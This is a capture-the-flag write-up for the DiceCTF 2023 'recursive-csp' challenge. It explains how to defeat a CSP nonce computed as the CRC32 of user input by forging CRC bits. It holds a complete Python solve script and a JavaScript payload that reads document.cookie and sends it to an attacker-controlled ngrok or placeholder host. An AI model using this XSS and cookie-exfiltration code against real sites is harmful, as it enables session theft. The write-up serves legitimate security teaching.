DiceCTF 2023 - Recursive CSP

☕️ 7 min read

DiceCTF 2023

Categories: web 2023-02-07

Recursive-csp

the nonce isn't random, so how hard could this be? (the flag is in the admin bot's cookie)

recursive-csp.mc.ax

Admin Bot

Challenge author: strellic

Challenge

Overview

We are presented with a basic website, that prompts us for our name.

When we inspect the script, we can actually see a link to /?source, which gives us the entire source of the website:

<?php
if (isset($_GET["source"])) highlight_file(__FILE__) && die();
$name = "world";
if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
$name = $_GET["name"];
}
$nonce = hash("crc32b", $name);
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
<head>
<title>recursive-csp</title>
</head>
<body>
<h1>Hello, <?php echo $name ?>!</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name" />
<input type="submit" />
</form>
<!-- /?source -->
</body>
</html>
view raw index.php hosted with ❤ by GitHub

Since we have an admin bot, that has a cookie set for this website, and some query parameter, that is displayed on the webpage as-is, we can assume that we want to do a XSS attack, to exfiltrate the document cookie. But the trick is, the CSP forbids us from using any img:src/onerror/fetch tricks, and instead only allows us to use script with correct nonce set.

If we try to submit <script nonce=00000000>console.log(1)</script>, we get an error in our console:

Console error

So we want to create a script that includes its own nonce in it. Also notice, that we are limited to 128 characters.

CRC32

Because of the way crc32 works, we can create any crc, we just have to have 32 bits of freedom in our payload. For more info check out CRC wiki, but essentially:

CRC(xy)(x \oplus y) = CRC(x)(x) \oplus CRC(y)(y)   c\oplus \; c

Let's say, we want to have a payload where all the characters are printable. Therefore, we can have some characters, of bit form 0x1xxxxx, where x can be either 1 or 0. That way, no matter the x's we always land on the printable character in ascii table. Because we need control of 32 bits, and one character provides 6 degrees of freedom, we thus need 6 such characters.

The idea for the xx part of the payload could then be:

<script nonce="00000000" src="https://our_malicious_website_but_not_too_long.com/script.js"></script>bbbbbb

The evil script would then add another script tag to the document with javascript, which would include cookies in it's request. Something along the lines of:

document.write(
	'<script nonce=00000000 src="https://our_malicious_website_but_not_too_long.com?cookie=' +
	encodeURI(document.cookie) +
	'"></script>'
);

We have to be careful, to match the nonce of the imported script with the first script's nonce.

Then we can programatically flip bits of the last 6 characters, to match nonce with it's crc.

CRC spoof

We could write our own script to do that, but I found this great repository, writtten in C: https://github.com/madler/spoof, which allows us to do precisely that. We have to generate a config file, that we will feed to spoof binary, which then produces a list of bit flips. Then we can utilize flip binary to execute the bit flips on a given file. The config file looks like this:

<crc degree> <crc polynom> <is polynom reflected>
<xor of current and desired crc> <message length in bytes>
<byte pos 1> <flip bit pos1>
<byte pos 2> <flip bit pos2>
...

In our example, we can give the script xx's own crc as the xor, so at the end we get final crc zeroed out. Message length also varies along with the bit positions of last 6 characters. Note: the spoof script expects bit positions in MSB manner: so bit positions 0,1,2,3,4&6.

32 04c11db7 1
<our crc> <message len>
<b1> 0
<b1> 1
...
<b6> 4
<b6> 6

The solve script

With all this information, we can begin to construct our solution script. I'll be utilizing ngrok, because it provides https url, that we need to bypass csp.

import subprocess
from urllib.parse import quote
import os
from binascii import crc32
from itertools import product
import random
from pyngrok import ngrok
import tempfile
SPOOFDIR = "/opt/spoof_crc"
WORKDIR = tempfile.mkdtemp()
ATTACK_WEBSITE = "https://recursive-csp.mc.ax"
PORT = random.randint(1000, 9999)
print("Using workdir:", WORKDIR)
# Create ngrok tunnel
ngrok_tunnel = ngrok.connect(
PORT, 'http', bind_tls=True) # Don't forget bind_tls!
ngrok_public_url = ngrok_tunnel.public_url
print("Ngrok public url:", ngrok_public_url)
# Create payload
PAD_CHAR = "b"
payload = f"<script nonce=00000000 src=\"{ngrok_public_url}/s.js\"></script>" + 'b'*6
with open(f"{WORKDIR}/payload", "w") as wf:
wf.write(payload)
# Do the spoofing
def generate_spoof_conf(msg_in: bytes):
msg_len = len(msg_in)
b_start = msg_len - 6
bit_pos = [f'{bytepos} {bitpos}'
for bytepos, bitpos in product(range(b_start, msg_len), (0, 1, 2, 3, 4, 6))]
x_crc = f"{crc32(msg_in):08x}"
print("Initial CRC:", x_crc)
with open(f"{WORKDIR}/conf", "w") as wf:
wf.write("32 04c11db7 1\n")
wf.write(f"{x_crc} {msg_len}\n")
wf.write('\n'.join(bit_pos))
generate_spoof_conf(payload.encode('ascii'))
os.system(
f"{SPOOFDIR}/spoof < {WORKDIR}/conf | {SPOOFDIR}/flip {WORKDIR}/payload"
)
with open(f"{WORKDIR}/payload") as rf:
payload = rf.read()
# Now crc32(payload) = 00000000
# Generating malicious javascript
def generate_javascript(ngrok_url: str):
script = f"""
CALLBACK_URL = "{ngrok_url}";
document.write('<script nonce=00000000 src="'+CALLBACK_URL+'?cookie='+encodeURI(document.cookie)+'"></script>');
""".strip()
with open(f"{WORKDIR}/s.js", "w") as wf:
wf.write(script)
generate_javascript(ngrok_public_url)
# We are ready to serve our evilness
srv = subprocess.Popen(["python3", "-m", "http.server",
str(PORT)], cwd=WORKDIR)
# urlencode the payload
payload = quote(payload)
print("\n\nSend this to admin:\n")
print(f"{ATTACK_WEBSITE}/?name={payload}\n\n")
try:
input("Press enter to exit\n")
except KeyboardInterrupt:
pass
srv.send_signal(subprocess.signal.SIGINT)
srv.wait()
ngrok.kill()
# Remove WORKDIR
try:
os.system(f"rm -rf {WORKDIR}")
except:
print("Failed to remove workdir")

When we run the script, we just wait for admin to hand over his cookie, and the flag will appear in the terminal. When finished just press any key to stop the server